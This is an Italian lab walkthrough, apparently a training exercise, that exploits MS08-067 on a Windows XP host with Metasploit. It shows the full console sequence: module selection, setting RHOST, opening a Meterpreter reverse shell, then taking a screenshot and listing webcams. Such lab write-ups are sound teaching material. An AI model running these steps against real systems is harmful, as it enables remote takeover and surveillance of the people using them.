

Apriamo la console per l'exploit tramite il comando "msfconsole" e cerchiamo quali sono gli exploit disponibili per la vulnerabilità che conosciamo, ovvero la MS08-067. Digitiamo quindi "search MS08-067".

[illegible]

```
kali@kali: ~  
File Actions Edit View Help  
└─$ sudo asfconsole  
[sudo] password for kali:  
sudo: asfconsole: command not found  
  
kali@kali~$ sudo msfconsole  
Metasploit tip: View a module's description using info, or the enhanced version in your browser with info -d  
msf6 > search MS08-067
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi  
msf6 > use exploit/windows/smb/ms08_067_netapi  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp  
msf6 exploit(windows/smb/ms08_067_netapi) >
```

Con il comando “show options” vediamo di quali parametri ha bisogno il programma per funzionare.

```
kali@kali ~  
File Actions Edit View Help  
# Name Disclosure Date Rank Check Description  
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption  
  
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi  
msf6 > use exploit/windows/smb/ms08_067_netapi  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp  
msf6 exploit(windows/smb/ms08_067_netapi) > show options  
Module options (exploit/windows/smb/ms08_067_netapi):  


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                             |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                 |

  
Payload options (windows/meterpreter/reverse_tcp):  


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.25    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |

  
Exploit target:  


| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |

  
View the full module info with the info, or info -d command.  
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST  
RHOST =>  
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.200  
RHOST => 192.168.1.200  
msf6 exploit(windows/smb/ms08_067_netapi) > exploit  
[*] Started reverse TCP handler on 192.168.1.25:4444  
[*] 192.168.1.200:445 - Automatically detecting the target...  
[*] 192.168.1.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian  
[*] 192.168.1.200:445 - Selected Target: Windows XP SP3 Italian (NX)  
[*] 192.168.1.200:445 - Attempting to trigger the vulnerability...  
[*] Sending stage (176198 bytes) to 192.168.1.200  
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.200:1032) at 2024-05-21 04:40:51 -0400  
meterpreter > |
```

Vediamo che per funzionare, l'exploit ha bisogno solo dell'RHOST. Dopo aver settato come RHOST l'IP di windows, diamo il via all'exploit con il comando "exploit". Vediamo che si apre la console dei comandi di meterpreter collegata a windows.

L'exploit ha avuto SUCCESSO!!!

Vediamo come un eventuale hacker avrebbe completo controllo da remoto sulla macchina con windows. Proviamo due comandi: "screenshot" (per fare uno screenshot dello schermo di windows) e "webcam\_list" (per vedere se l'host ha webcam attive).

```
View the full module info with the info, or info -d command.  
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST  
RHOST =>  
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.200  
RHOST => 192.168.1.200  
msf6 exploit(windows/smb/ms08_067_netapi) > exploit  
[*] Started reverse TCP handler on 192.168.1.25:4444  
[*] 192.168.1.200:445 - Automatically detecting the target...  
[*] 192.168.1.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian  
[*] 192.168.1.200:445 - Selected Target: Windows XP SP3 Italian (NX)  
[*] 192.168.1.200:445 - Attempting to trigger the vulnerability...  
[*] Sending stage (176198 bytes) to 192.168.1.200  
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.200:1032) at 2024-05-21 04:40:51 -0400  
  
meterpreter > screenshot  
Screenshot saved to: /home/kali/aMucNjGf.jpeg  
meterpreter > webcam_list  
[-] No webcams were found  
meterpreter > |
```

Il programma ha salvato uno screen dello schermo di windows e ci comunica che windows non ha webcam attive.